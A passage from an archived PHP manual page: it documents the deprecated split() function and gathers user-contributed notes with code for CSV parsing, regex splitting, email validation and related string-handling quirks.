            }
            else{
            //set record to null
            $valid_record = "FALSE";
                  echo " $field is not a valid name";
            }
            //process to see if valid record
            if ($valid_record == "FALSE"){
                  echo " & is not a valid record";
            }
            else{ //assume record is valid
                  echo " & is a valid record";
            }

            //validate field entry function

            function is_valid($field, $len) {
            if(eregi("^[[:alpha:]]{{$len}}$", $field)) return                TRUE;
            else return FALSE;
            }
ruben dot no dot spam at artek dot no dot spam dot es 08-Feb-2002 12:28
Well, this can be improved a little. According to the previous, these email addresses would be correct:
  user@domain.e
  user@domain.123
  user@domain-ltd

I suggest this regexp:

if( !eregi( "^" .
            "[a-z0-9]+([_\\.-][a-z0-9]+)*" .    //user
            "@" .
            "([a-z0-9]+([\.-][a-z0-9]+)*)+" .   //domain
            "\\.[a-z]{2,}" .                    //sld, tld
            "$", $email, $regs)
   )
...
mmc at nospam dot dk 27-Jan-2002 06:56
I'm not sure about "\." being the same as "." above.

Anyway, the mentioned regex would not recognize .museum-names, and generally isn't future safe.
Also, it doesn't verify that usernames and hostnames cannot start with "-._".

I would recommend a more general (=future safe) expression and then instead check the hostname. An example:

if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*"
    ."@([a-z0-9]+([\.-][a-z0-9]+))*$",
    $mail, $regs) )
{
    echo "Error: '$mail' isn't a valid mail address!\n";
}
elseif( gethostbyname($regs[2]) == $regs[2] )
{
    echo "Error: Can't find the host '$regs[2]'!<br>\n";
}

Note: I had to split the regex for it to fit this note.
Also note: The reason I'm using gethostbyname() and not getmxrr() or such is that getmxrr() doesn't work on Win2000/XP.
eregi_replace
split
POSIX Regex Functions


Split string into array by regular expression

eregi
spliti
POSIX Regex Functions
PHP Manual

split

(PHP 4, PHP 5)

split — Split string into array by regular expression

Description

array split ( string $pattern , string $string [, int $limit = -1 ] )

Splits a string into array by regular expression.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

pattern

Case sensitive regular expression.

If you want to split on any of the characters which are considered special by regular expressions, you'll need to escape them first. If you think split() (or any other regex function, for that matter) is doing something weird, please read the file regex.7, included in the regex/ subdirectory of the PHP distribution. It's in manpage format, so you'll want to do something along the lines of man /usr/local/src/regex/regex.7 in order to read it.

string

The input string.

limit

If limit is set, the returned array will contain a maximum of limit elements with the last element containing the whole rest of string.

Return Values

Returns an array of strings, each of which is a substring of string formed by splitting it on boundaries formed by the case-sensitive regular expression pattern.

If there are n occurrences of pattern, the returned array will contain n+1 items. For example, if there is no occurrence of pattern, an array with only one element will be returned. Of course, this is also true if string is empty. If an error occurs, split() returns FALSE.

Examples

Example #1 split() example

To split off the first four fields from a line from /etc/passwd:

<?php
list($user, $pass, $uid, $gid, $extra) =
    split(":", $passwd_line, 5);
?>

Example #2 split() example

To parse a date which may be delimited with slashes, dots, or hyphens:

<?php
// Delimiters may be slash, dot, or hyphen
$date = "04/30/1973";
list($month, $day, $year) = split('[/.-]', $date);
echo "Month: $month; Day: $day; Year: $year<br />\n";
?>

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

Tip

preg_split(), which uses a Perl-compatible regular expression syntax, is often a faster alternative to split(). If you don't require the power of regular expressions, it is faster to use explode(), which doesn't incur the overhead of the regular expression engine.

Tip

For users looking for a way to emulate Perl's @chars = split('', $str) behaviour, please see the examples for preg_split() or str_split().

See Also

  • preg_split() - Split string by a regular expression
  • spliti() - Split string into array by regular expression case insensitive
  • str_split() - Convert a string to an array
  • explode() - Split a string by string
  • implode() - Join array elements with a string
  • chunk_split() - Split a string into smaller chunks
  • wordwrap() - Wraps a string to a given number of characters

User Contributed Notes

dave at bevhost dot com 06-Jan-2012 12:19
The easiest function to replace this with is mb_split(),
which is the mutibyte version that works on unicode characters such as chinese letters in your strings.
Bob 24-Apr-2009 06:58
I was interested in the performance of various tokenizing algorithms, in particular splitting a string by a list of tokens. I've compared 3 methods, including a custom function based on strtok().
My aim was to split a MySQL type definition into its various parts, i.e. split "int(10) unsigned zerofill" to Array( 1 => "int", 2 => "10", 3 => " unsigned zerofill" )
This is the code I ran:
<?php
function getmicrotime()

{

    list($usec, $sec) = explode(" ",microtime());

    return ((float)$usec + (float)$sec);

}

function toksplit($string, $tokens)
{
    $val = array();
    $v = strtok($string, $tokens);
    do $val[] = $v;
    while($v = strtok($tokens));
    return $val;
}

echo "<pre>";

$string = "int(10) unsigned zerofill";
$ntrials = 100000;

for($i = 0, $t = getmicrotime(); $i < $ntrials; ++$i) $toksplit_result = toksplit($string, '()');
$time = getmicrotime()-$t;
$avg = $time/$ntrials;
echo "toksplit(): $avg\n";
print_r($toksplit_result);

for($i = 0, $t = getmicrotime(); $i < $ntrials; ++$i) $split_result = split('[()]', $string);
$time = getmicrotime()-$t;
$avg = $time/$ntrials;
echo "split(): $avg\n";
print_r($split_result);

for($i = 0, $t = getmicrotime(); $i < $ntrials; ++$i) $preg_split_result = preg_split('/[()]/', $string);
$time = getmicrotime()-$t;
$avg = $time/$ntrials;
echo "preg_split(): $avg\n";
print_r($preg_split_result);

echo "</pre>";
?>
These were the results:
toksplit(): 1.94901299477E-5
Array
(
    [0] => int
    [1] => 100
    [2] =>  unsigned zerofill
)
split(): 1.50095391273E-5
Array
(
    [0] => int
    [1] => 100
    [2] =>  unsigned zerofill
)
preg_split(): 1.82743000984E-5
Array
(
    [0] => int
    [1] => 100
    [2] =>  unsigned zerofill
)

Interestingly, split() was the fastest.
I also modified my test to also strip whitespace from each token, changing the patterns to "\s*[()]\s*" and adding a trim() call to the toksplit() function. The results went from fastest to slowest: preg_split(), split(), toksplit().
I would infer from this that split() is the fastest if you want to simply split by a list of delimiters. However, if you want to split by a more complicated pattern, preg_split() is the best.
strtok() is clearly slower.
NOTE: if you want to split by a single delimiter (not a list or pattern), use explode().
charles at etherscapes dot com 18-Mar-2009 09:33
This function just makes sure there are 10 digits in a string, no matter what other characters there are. I'm using it for validating any phone number in the world and requiring an area code. It's far from perfect, but since I don't know which country the phone number is for, it's good enough for my purposes:

<?php
function validPhone($str) {
    $digits = split("[0-9]",$str);
    return count($digits)>10;
}
?>
Greg Levine 04-Dec-2008 01:45
I kept running into the same issue Chris Tyler experienced with lewis [ at t] hcoms [d dot t] co [d dot t] uk's function before realizing that Chris had come up with a solution. However, that solution was just a little off it seems, unless your CSV only contains one line.

If you simply add another --length; in the place you suggested, then the function will always trim the last two characters on the line. Since the newline character is the last character on the line and the redundant quote (or other enclosure) is the second to last character, this works for the final segment. But when parsing segments that do not include a newline character, you end up trimming the redundant enclosure and the last character before the enclosure.

For example,

"he","she","him","her"\r\n

becomes

[0] => h
[1] => sh
[2] => hi
[3] => her

Since the segment could end with the enclosure (i.e., ") or the enclosure followed by the newline (i.e., "\r\n), you have make sure you are only adding another --length; when the latter is the case. Replacing the code block that you suggested with the following will do the trick.

# Is the last thing a newline?
if( $char == $newline )
{
    # Well then get rid of it
    --$length;
}

# Is the last thing a quote?
if( $trim_quote )
{
    # Well then get rid of it
    --$length;
}

I've tested this only for the purposes of the script I'm working on at this time. So, there could be other bugs I haven't come across, but this seems like the easiest way to eliminate the redundant enclosure.
sue_hok at hotmail dot com 11-Sep-2008 11:26
This function basically is to split the string from right with limit
<?php

function split_right($pattern,$input,$len=0)
    {
if($len==0)
    return split($pattern,$input);

            $tempInput = split($pattern,$input);
            $tempInput = array_reverse($tempInput);
            $tempArray = array();
            $ArrayIndex=0;
            $indexCount=0;
            foreach($tempInput as $values)
            {
                if($indexCount<$len)
                {
                    $tempArray[$ArrayIndex]=$values;
                    if($indexCount<$len-1)
                        $ArrayIndex++;
                }
                else
                {
                        $tempArray[$ArrayIndex]=$values.$pattern.$tempArray[$ArrayIndex];

                }

                $indexCount++;

            }
            return array_reverse($tempArray);
    }

//For Example:
$string = "Hello World Split";
print_r(split(" ",$string,2));
print_r(split_right(" ",$string,2));

/*OutPut
Array
(
    [0] => Hello
    [1] => World Split
)

Array
(
    [0] => Hello World
    [1] => Split
)
*/

?>
anthonyhoivik at gmail dot com 15-Aug-2008 08:45
Convert a full name ( in one text input ) to a first, middle, last.

$fullname = $_POST['fullname'];
  list($first, $middle, $last) = split(' ', $fullname);
  if ( !$last ) {
    $last = $middle;
    unset($middle);
  }
pascalaschwandenNOSPAM at gmail dot com 13-Jul-2008 12:12
The following code will mimick the explode functionality: explode( " ", $s );  The difference, of course, is that the split method takes a regular expression instead of a string.

$s = "Split this sentence by spaces";
$words = split("[ ]+", $s);
print_r($words);

Output:
Array
(
    [0] => Split
    [1] => this
    [2] => sentence
    [3] => by
    [4] => spaces
)
http://www.codesplunk.com/nr/questions/php12.html
Chris Tyler 09-Apr-2008 03:25
Thank you Dave for your code below.  Here is one change I made to avoid a redundant quote at the end of some lines (at least when I used excel:

Added another --length;  into the if statement below:

                // Is the last thing a quote?
                if ($trim_quote){
                    // Well then get rid of it
                    --$length;
        // ADD TO FIX extra quote
    --$length;
                }
lewis [ at t] hcoms [d dot t] co [d dot t] uk 25-Mar-2008 03:32
Those of you trying to use split for CSV, it won't always work as expected. Instead, try using a simple stack method:

<?php

    /**
     * Create a 2D array from a CSV string
     *
     * @param mixed $data 2D array
     * @param string $delimiter Field delimiter
     * @param string $enclosure Field enclosure
     * @param string $newline Line seperator
     * @return
     */
    function parse($data, $delimiter = ',', $enclosure = '"', $newline = "\n"){
        $pos = $last_pos = -1;
        $end = strlen($data);
        $row = 0;
        $quote_open = false;
        $trim_quote = false;

        $return = array();

        // Create a continuous loop
        for ($i = -1;; ++$i){
            ++$pos;
            // Get the positions
            $comma_pos = strpos($data, $delimiter, $pos);
            $quote_pos = strpos($data, $enclosure, $pos);
            $newline_pos = strpos($data, $newline, $pos);

            // Which one comes first?
            $pos = min(($comma_pos === false) ? $end : $comma_pos, ($quote_pos === false) ? $end : $quote_pos, ($newline_pos === false) ? $end : $newline_pos);

            // Cache it
            $char = (isset($data[$pos])) ? $data[$pos] : null;
            $done = ($pos == $end);

            // It it a special character?
            if ($done || $char == $delimiter || $char == $newline){

                // Ignore it as we're still in a quote
                if ($quote_open && !$done){
                    continue;
                }

                $length = $pos - ++$last_pos;

                // Is the last thing a quote?
                if ($trim_quote){
                    // Well then get rid of it
                    --$length;
                }

                // Get all the contents of this column
                $return[$row][] = ($length > 0) ? str_replace($enclosure . $enclosure, $enclosure, substr($data, $last_pos, $length)) : '';

                // And we're done
                if ($done){
                    break;
                }

                // Save the last position
                $last_pos = $pos;

                // Next row?
                if ($char == $newline){
                    ++$row;
                }

                $trim_quote = false;
            }
            // Our quote?
            else if ($char == $enclosure){

                // Toggle it
                if ($quote_open == false){
                    // It's an opening quote
                    $quote_open = true;
                    $trim_quote = false;

                    // Trim this opening quote?
                    if ($last_pos + 1 == $pos){
                        ++$last_pos;
                    }

                }
                else {
                    // It's a closing quote
                    $quote_open = false;

                    // Trim the last quote?
                    $trim_quote = true;
                }

            }

        }

        return $return;
    }

?>

This *should* work for any valid CSV string, regardless of what it contains inside its quotes (using RFC 4180). It should also be faster than most of the others I've seen. It's very simple in concept, and thoroughly commented.
Dave Walter 29-Feb-2008 03:39
In response to  the getCSVValues() function posted by justin at cam dot org, my testing indicates that it has a problem with a CSV string like this:

1,2,"3,""4,5"",6",7

This parses as:

array(6) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(4) "3,"4"
  [3]=>
  string(1) "5"
  [4]=>
  string(0) ""
  [5]=>
  string(1) "7"
}

instead of:

array(4) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(9) "3,"4,5",6"
  [3]=>
  string(1) "7"
}

To fix this, I changed the second substr_count to look for an odd number of quotes, as opposed to any quotes at all:

<?php
function getCSVValues($string, $separator=",")
{
    $elements = explode($separator, $string);
    for ($i = 0; $i < count($elements); $i++) {
        $nquotes = substr_count($elements[$i], '"');
        if ($nquotes %2 == 1) {
            for ($j = $i+1; $j < count($elements); $j++) {
                if (substr_count($elements[$j], '"') %2 == 1) { // Look for an odd-number of quotes
                    // Put the quoted string's pieces back together again
                    array_splice($elements, $i, $j-$i+1,
                        implode($separator, array_slice($elements, $i, $j-$i+1)));
                    break;
                }
            }
        }
        if ($nquotes > 0) {
            // Remove first and last quotes, then merge pairs of quotes
            $qstr =& $elements[$i];
            $qstr = substr_replace($qstr, '', strpos($qstr, '"'), 1);
            $qstr = substr_replace($qstr, '', strrpos($qstr, '"'), 1);
            $qstr = str_replace('""', '"', $qstr);
        }
    }
    return $elements;
}
?>
Nate Sweet 31-May-2007 01:39
This function takes a string like this...

this=cool that="super cool" thing='ridiculous cool'

And gives you an associative array of names and values.

function parseNameValues ($text) {
    $values = array();
    if (preg_match_all('/([^=\s]+)=("(?P<value1>[^"]+)"|' . '\'(?P<value2>[^\']+)\'|(?P<value3>.+?)\b)/', $text, $matches, PREG_SET_ORDER))
        foreach ($matches as $match)
            $values[trim($match[1])] = trim(@$match['value1'] . @$match['value2'] . @$match['value3']);
    return $values;
}

(regex broken into two strings so it won't be too long for this webpage)
Mike 18-May-2007 10:40
// Split a string into words on boundaries of one or more spaces, tabs or new-lines
$s = "Please cut   \t me \n in pieces";
$words = split("[\n\r\t ]+", $s);
print_r($words);

// Output:
Array
(
    [0] => Please
    [1] => cut
    [2] => me
    [3] => in
    [4] => pieces
)
Jort 14-Mar-2007 12:53
If you are looking for EITHER open square brackets OR close square brackets, then '[[]]' won't work (reasonably expected), but neither will '[\[\]]', nor with any number of escapes. HOWEVER, if your pattern is '[][]' it will work.
justin at cam dot org 15-Feb-2007 10:21
The previous solution assumes that a quoted string always starts a new element (true in real CSV files, but not in my application). The following routine does not make any such assumptions. It also deals with pairs of quotes and does not use any regular expressions.

<?php
function getCSVValues($string, $separator=",")
{
    $elements = explode($separator, $string);
    for ($i = 0; $i < count($elements); $i++) {
        $nquotes = substr_count($elements[$i], '"');
        if ($nquotes %2 == 1) {
            for ($j = $i+1; $j < count($elements); $j++) {
                if (substr_count($elements[$j], '"') > 0) {
                    // Put the quoted string's pieces back together again
                    array_splice($elements, $i, $j-$i+1,
                        implode($separator, array_slice($elements, $i, $j-$i+1)));
                    break;
                }
            }
        }
        if ($nquotes > 0) {
            // Remove first and last quotes, then merge pairs of quotes
            $qstr =& $elements[$i];
            $qstr = substr_replace($qstr, '', strpos($qstr, '"'), 1);
            $qstr = substr_replace($qstr, '', strrpos($qstr, '"'), 1);
            $qstr = str_replace('""', '"', $qstr);
        }
    }
    return $elements;
}
?>
Theodule 24-Jan-2007 08:41
A little modification from dan jones.
_New_: I had a parameter to specify separator (default ",").
_Fix _: double-quotes who appear in a spreadsheet exported to CSV, they get escaped by doubling them. So I remplace them by ' caracter
<?php
function getCSVValues($string,$separator=",")
{
    $string = str_replace('""', "'", $string);
    // split the string at double quotes "
    $bits = explode('"',$string);
    $elements = array();
    for ( $i=0; $i < count($bits) ; $i++ ) {
        /*
        odd numbered elements would have been
        enclosed by double quotes
        even numbered elements would not have been
        */
        if (($i%2) == 1) {
            /* if the element number is odd add the
            whole string  to the output array */
            $elements[] = $bits[$i];
        } else
        {
            /* otherwise split the unquoted stuff at commas
            and add the elements to the array */
            $rest = $bits[$i];
            $rest = preg_replace("/^".$separator."/","",$rest);
            $rest = preg_replace("/".$separator."$/","",$rest);
            $elements = array_merge($elements,explode($separator,$rest));
        }
    }
    return $elements;
}
?>
dan dot jones at lunarfish dot co dot uk 17-Aug-2006 05:24
Here's a function to split a string into csv values where they are optionally enclosed by " to allow values with commas in.

I think it works. Let me know if I'm wrong.

Cheers. Dan

function getCSVValues($string) {
   // split the string at double quotes "
   $bits = split('"',$string);
   $elements = array();
   for ($i=0;$i<count($bits);$i++) {
      /*
          odd numbered elements would have been
          enclosed by double quotes
          even numbered elements would not have been
      */
      if (($i%2) == 1) {
         /* if the element number is odd add the
             whole string  to the output array */
         $elements[] = $bits[$i];
      } else {
         /* otherwise split the unquoted stuff at commas
             and add the elements to the array */
         $rest = $bits[$i];
         $rest = preg_replace("/^,/","",$rest);
         $rest = preg_replace("/,$/","",$rest);
         $elements = array_merge($elements,split(',',$rest));
      }
   }
   return $elements;
}
destes at ix dot netcom dot com 14-Feb-2006 12:15
Some corrections to robin-at-teddyb's CSV splitting function.  Recall that the point of this is to properly implement a split() function that handles data exported to CSV, where data containing commas gets quote-delimited.

* Problem 1: As jh-at-junetz pointed out, the +1 in robin's nonquoted splitting command mistakenly adds an extra element to the resulting array.
* Problem 2: If consecutive fields are quote-delimited, the remaining "separator" between them only contains one delimiter and no actual fields - so an extra element gets added to the parsed array.
* Problem 3: When double-quotes appear in a spreadsheet exported to CSV, they get escaped by doubling them, i.e. a data field reading "this is a test of a "special" case" gets written to CSV as, "this is a test of a ""special"" case".  These quotes are also interpreted as top-level delimiters and (mistakenly) add extra array elements to the output.

I have hacked a conversion of "" to a single quote ( ' ), but a truly clever preg_split for the top-level splitter (instead of the explode) might preserve the original doubled "s without bugging up the top-level parsing.  i.e., a smarter man than I could solve the problem rather than avoiding it by replacing the bad data.

(current) Solution:

<?php

function quotesplit( $splitter=',', $s, $restore_quotes=0 ) {
    // hack because i'm a bad programmer - replace doubled "s with a '
    $s = str_replace('""', "'", $s);

    //First step is to split it up into the bits that are surrounded by quotes
    //and the bits that aren't. Adding the delimiter to the ends simplifies
    //the logic further down
    $getstrings = explode('"', $splitter.$s.$splitter);

    //$instring toggles so we know if we are in a quoted string or not
    $delimlen = strlen($splitter);
    $instring = 0;

    while (list($arg, $val) = each($getstrings)) {
        if ($instring==1) {
            if( $restore_quotes ) {
                //Add the whole string, untouched to the previous value in the array
                $result[count($result)-1] = $result[count($result)-1].'"'.$val.'"';
            } else {
                //Add the whole string, untouched to the array
                $result[] = $val;
            }
            $instring = 0;
        } else {
            // check that we have data between multiple $splitter delimiters
                        if ((strlen($val)-$delimlen) >= 1) {

                //Break up the string according to the delimiter character
                //Each string has extraneous delimiters around it (inc the ones we added
                //above), so they need to be stripped off
                $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen ) );

                while(list($iarg, $ival) = each($temparray)) {
                    $result[] = trim($ival);
                }
            }
            // else, the next element needing parsing is a quoted string and the comma
            // here is just a single separator and contains no data, so skip it

            $instring = 1;
        }
    }

    return $result;
}

?>
RE: gcerretini at technica dot net /UTF8 08-Feb-2006 04:26
Original problem:
=================

I've try using split function.

<?php
$ferro="2&#65533;12";
$valore=split("[&#65533;]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";
$ferro="2d12";
$valore=split("[d]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";
?>

This return:
============

2&#65533;12
p1-2
p2-
p3-12
2d12
p1-2
p2-12
p3-

I use charset UTF-8. When I use char &#65533; the split function ad an empty string between "2" and "12"... Why?

Explanation:
============

UTF-8 charset codes some characters (like the "&#65533;" character) into two bytes. In fact the regular expresion "[&#65533;]" contains 4 bytes (4 non-unicode characters). To demonstrate the real situation I wrote following example:

$ferro="2de12";
$valore=split("[de]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";

This returns:
=============

2d12
p1-2
p2-
p3-12
04-Dec-2005 05:57
Be advised

$arr = split("x", "x" );
print_r($arr);

will output:

Array
(
    [0] =>
    [1] =>
)

That is it will catch 2 empty strings on each side of the delimiter.
franz at fholzinger dot com 04-Nov-2005 04:34
The example from ramkumar rajendran did not work.
$line = split("/\n", $input_several_lines_long);
I do not know why this does not work for me.

The following has worked for me to get a maximum of 2 array parts separated by the first new line (independant if saved under UNIX or WINDOWS):
$line = preg_split('/[\n\r]+/',$input_several_lines_long,2);
Also empty lines are not considered here.
passtschu AT freenet DOT de 24-Sep-2005 12:09
divide a string with a template. the "template dividers" are the keys for the output array.

<?PHP
function string2array ($string, $template){
  #search defined dividers
  preg_match_all ("|%(.+)%|U", $template, $template_matches);
  #replace dividers with "real dividers"
  $template = preg_replace ("|%(.+)%|U", "(.+)", $template);
  #search matches
  preg_match ("|" . $template . "|", $string, $string_matches);
  #[template_match] => $string_match
  foreach ($template_matches[1] as $key => $value){
     $output[$value] = $string_matches[($key + 1)];
  }
  return $output;
}

$string1 = 'www.something.com 66.196.91.121 - - [01/Sep/2005:04:20:39 +0200] "GET /robots.txt HTTP/1.0" 200 49 "-"';
$string2= '%Domain% %IP% - %User% \[%Date%:%Time% %TimeZone%\] "%Method% %Request% %Protocol%" %ServerCode% %Bytes% "%Referer%"';

print_r (string2array ($string1, $string2));

/*
Array

(
  [ServerAddress] => www.something.com
  [IP] => 66.196.91.121
  [User] => -
  [Date] => 01/Sep/2005
  [Time] => 04:20:39
  [TimeZone] => +0200
  [Method] => GET
  [Request] => /robots.txt
  [Protocol] => HTTP/1.0
  [ServerCode] => 200
  [Bytes] => 49
  [Referer] => -
)
*/
?>
robin at teddyb dot org 29-Jun-2005 09:01
Actually, this version is better than the last I submitted.  The goal here is to be able to engage in *multiple* delimeter removal passes; for all but the last pass, set the third value to "1", and everything should go well.

    function quotesplit( $splitter=',', $s, $restore_quotes=0 )
    {
        //First step is to split it up into the bits that are surrounded by quotes
        //and the bits that aren't. Adding the delimiter to the ends simplifies
        //the logic further down

        $getstrings = explode('"', $splitter.$s.$splitter);

        //$instring toggles so we know if we are in a quoted string or not
        $delimlen = strlen($splitter);
        $instring = 0;

        while (list($arg, $val) = each($getstrings))
        {
            if ($instring==1)
            {
                if( $restore_quotes )
                {
                    //Add the whole string, untouched to the previous value in the array
                    $result[count($result)-1] = $result[count($result)-1].'"'.$val.'"';
                } else {
                    //Add the whole string, untouched to the array
                    $result[] = $val;
                }
                $instring = 0;
            }
            else
            {
                //Break up the string according to the delimiter character
                //Each string has extraneous delimiters around it (inc the ones we added
                //above), so they need to be stripped off
                $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen+1 ) );

                while(list($iarg, $ival) = each($temparray))
                {
                    $result[] = trim($ival);
                }
                $instring = 1;
            }
        }

        return $result;
    }
robin at teddyb dot org 29-Jun-2005 08:50
wchris's quotesplit assumes that anything that is quoted must also be a complete delimiter-seperated entry by itself.  This version does not.  It also uses split's argument order.

    function quotesplit( $splitter=',', $s )
    {
        //First step is to split it up into the bits that are surrounded by quotes
        //and the bits that aren't. Adding the delimiter to the ends simplifies
        //the logic further down

        $getstrings = explode('"', $splitter.$s.$splitter);

        //$instring toggles so we know if we are in a quoted string or not
        $delimlen = strlen($splitter);
        $instring = 0;

        while (list($arg, $val) = each($getstrings))
        {
            if ($instring==1)
            {
                //Add the whole string, untouched to the previous value in the array
                $result[count($result)-1] = $result[count($result)-1].$val;
                $instring = 0;
            }
            else
            {
                //Break up the string according to the delimiter character
                //Each string has extraneous delimiters around it (inc the ones we added
                //above), so they need to be stripped off
                $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen+1 ) );

                while(list($iarg, $ival) = each($temparray))
                {
                    $result[] = trim($ival);
                }
                $instring = 1;
            }
        }

        return $result;
    }
wchris 18-Feb-2005 03:53
moritz's quotesplit didn't work for me. It seemed to split on a comma even though it was between a pair of quotes. However, this did work:

function quotesplit($s, $splitter=',')
{
//First step is to split it up into the bits that are surrounded by quotes and the bits that aren't. Adding the delimiter to the ends simplifies the logic further down

    $getstrings = split('\"', $splitter.$s.$splitter);

//$instring toggles so we know if we are in a quoted string or not
    $delimlen = strlen($splitter);
    $instring = 0;

    while (list($arg, $val) = each($getstrings))
    {
        if ($instring==1)
        {
//Add the whole string, untouched to the result array.
            $result[] = $val;
            $instring = 0;
        }
        else
        {
//Break up the string according to the delimiter character
//Each string has extraneous delimiters around it (inc the ones we added above), so they need to be stripped off
            $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen ) );

            while(list($iarg, $ival) = each($temparray))
            {
                $result[] = trim($ival);
            }
            $instring = 1;
        }
    }
    return $result;
}
ramkumar rajendran 17-Jan-2005 10:09
A correction to a earlier note
If you want to use split to check on line feeds (\n), the following won't work:

$line = split("\n", $input_several_lines_long);

You really have to do this instead, notice the second slash:
$line = split("/\n", $input_several_lines_long);

Took me a little while to figure to do
claes at dot2me.com 03-Nov-2004 04:10
Though this is obvious, the manual is a bit incorrect when claiming that the return will always be 1+number of time the split pattern occures.  If the split pattern is the first part of the string, the return will still be 1.  E.g.

$a = split("zz," "zzxsj.com");
count($a);

=> 1.

The return of this can not in anyway be seperated from the return where the split pattern is not found.
moritz 09-Apr-2004 11:54
Often you want to split CSV-Like data, so this is the function for this :)

It splits data formatted like:

1,2,3
-> [1,2,3]

1 , 3, 4
-> [1,3,4]

one; two;three
-> ['one','two','three']

"this is a string", "this is a string with , and ;", 'this is a string with quotes like " these', "this is a string with escaped quotes \" and \'.", 3
-> ['this is a string','this is a string with , and ;','this is a string with quotes like " these','this is a string with escaped quotes " and '.',3]

function quotesplit($s)
{
    $r = Array();
    $p = 0;
    $l = strlen($s);
    while ($p < $l) {
        while (($p < $l) && (strpos(" \r\t\n",$s[$p]) !== false)) $p++;
        if ($s[$p] == '"') {
            $p++;
            $q = $p;
            while (($p < $l) && ($s[$p] != '"')) {
                if ($s[$p] == '\\') { $p+=2; continue; }
                $p++;
            }
            $r[] = stripslashes(substr($s, $q, $p-$q));
            $p++;
            while (($p < $l) && (strpos(" \r\t\n",$s[$p]) !== false)) $p++;
            $p++;
        } else if ($s[$p] == "'") {
            $p++;
            $q = $p;
            while (($p < $l) && ($s[$p] != "'")) {
                if ($s[$p] == '\\') { $p+=2; continue; }
                $p++;
            }
            $r[] = stripslashes(substr($s, $q, $p-$q));
            $p++;
            while (($p < $l) && (strpos(" \r\t\n",$s[$p]) !== false)) $p++;
            $p++;
        } else {
            $q = $p;
            while (($p < $l) && (strpos(",;",$s[$p]) === false)) {
                $p++;
            }
            $r[] = stripslashes(trim(substr($s, $q, $p-$q)));
            while (($p < $l) && (strpos(" \r\t\n",$s[$p]) !== false)) $p++;
            $p++;
        }
    }
    return $r;
}
alphibia at alphibia dot com 31-Mar-2004 06:19
I'd like to correct myself, I found that after testing my last solution it will create 5 lines no matter what... So I added this to make sure that it only displays 5 if there are five newlines. :-)

<?php
    $MaxNewLines = 5;

    $BRCount = substr_count($Message, '<br />');
    if ($BRCount<$MaxNewLines)
    $MaxNewLines=$BRCount;
    else if($BRCount == 0)
    $MaxNewLines=1;

    $Message = str_replace(chr(13), "<br />", $Message);
    $MessageArray = split("<br />", $Message, $MaxNewLines);
    $Message = ""; $u=0;
    do    {
    $Message.=$MessageArray[$u].'<br />';
    $u++;
    } while($u<($MaxNewLines-1));
    $Message.=str_replace("<br />"," ",$MessageArray[$u]);
    ?>

-Tim
http://www.alphibia.com
nomail at please dot now 21-Nov-2003 09:33
If you want to use split to check on line feeds (\n), the following won't work:

$line = split("\n", $input_several_lines_long);

You really have to do this instead, notice the second slash:
$line = split("\\n", $input_several_lines_long);

Took me a little while to figure out.
krahn at niehs dot nih dot gov 24-Oct-2003 12:14
> strange things happen with split
> this didn't work
> $vontag $vonmonat were empty strings
...
> list ($vontag , $vonmonat) = split ('.' , $fromdate); // << bad

Split is acting exactly as it should; it splits on regular expressions.
A period is a regular expression pattern for a single character.
So, an actual period must be escaped with a backslash:  '\.'
A period within brackets is not an any-character pattern, because it does
not make sense in that context.

Beware that regular expressions can be confusing becuase there
are a few different varieties of patterns.
dalu at uni dot de 08-Oct-2003 12:26
php4.3.0

strange things happen with split

this didn't work
$vontag $vonmonat were empty strings

<?php
function ckdate($fromdate="01.01", $todate="31.12")
{
    $nowyear = date("Y");
    list ($vontag , $vonmonat) = split ('.' , $fromdate); // << bad
    $vondatum = "$nowyear-$vonmonat-$vontag";
    list ($bistag , $bismonat) = split ('.' , $todate); // << bad
    $bisdatum = "$nowyear-$bismonat-$bistag";
    $von = strtotime($vondatum);
    $bis = strtotime($bisdatum);
    $now = time();
    if (($now <= $bis) and ($now >= $von))
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}
?>

however this one worked perfectly

<?php
function ckdate($fromdate="01.01", $todate="31.12")
{
    $nowyear = date("Y");
    list ($vontag , $vonmonat) = split ('[.]' , $fromdate); // << good
    $vondatum = "$nowyear-$vonmonat-$vontag";
    list ($bistag , $bismonat) = split ('[.]' , $todate); // << good
    $bisdatum = "$nowyear-$bismonat-$bistag";
    $von = strtotime($vondatum);
    $bis = strtotime($bisdatum);
    $now = time();
    if (($now <= $bis) and ($now >= $von))
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}
?>

btw this fn checks if $now if between $fromdate and $todate
use it if you like
jeffrey at jhu dot edu 10-Jan-2003 01:51
In answer to gwyne at gmx dot net, dec 1, 2002:

For split(), when using a backslash as the delimiter, you have to *double escape* the backslash.

example:
==================================
<pre>
<?
$line = 'stuff\\\thing\doodad\\';
$linearray = split('\\\\', $line); //<--NOTE USE OF FOUR(4)backslashes
print join(":", $linearray);
?>
</pre>

==================================
output is:

<pre>
stuff::thing:doodad:
</pre>
paha at paha dot hu 21-Jul-2002 06:51
It's evident but not mentioned in the documentation that using asterisks is more restricted than in a normal regular expression.

for exaple you cannot say:

split(";*",$string);

because what if there's no ";" separator?(which is covered by this regular expression)

so you have to use at least

split(";+",$quotatxt);

in this situation.
fotw at gmx dot net 17-Jun-2002 12:50
Ups! It seems that neither explode nor split REALY takes a STRING but only a single character as a string for splitting the string.
 I found this problem in one of my codes when trying to split a string using ";\n" as breaking string. The result, only ";" was thaken... the rest of the string was ignored.
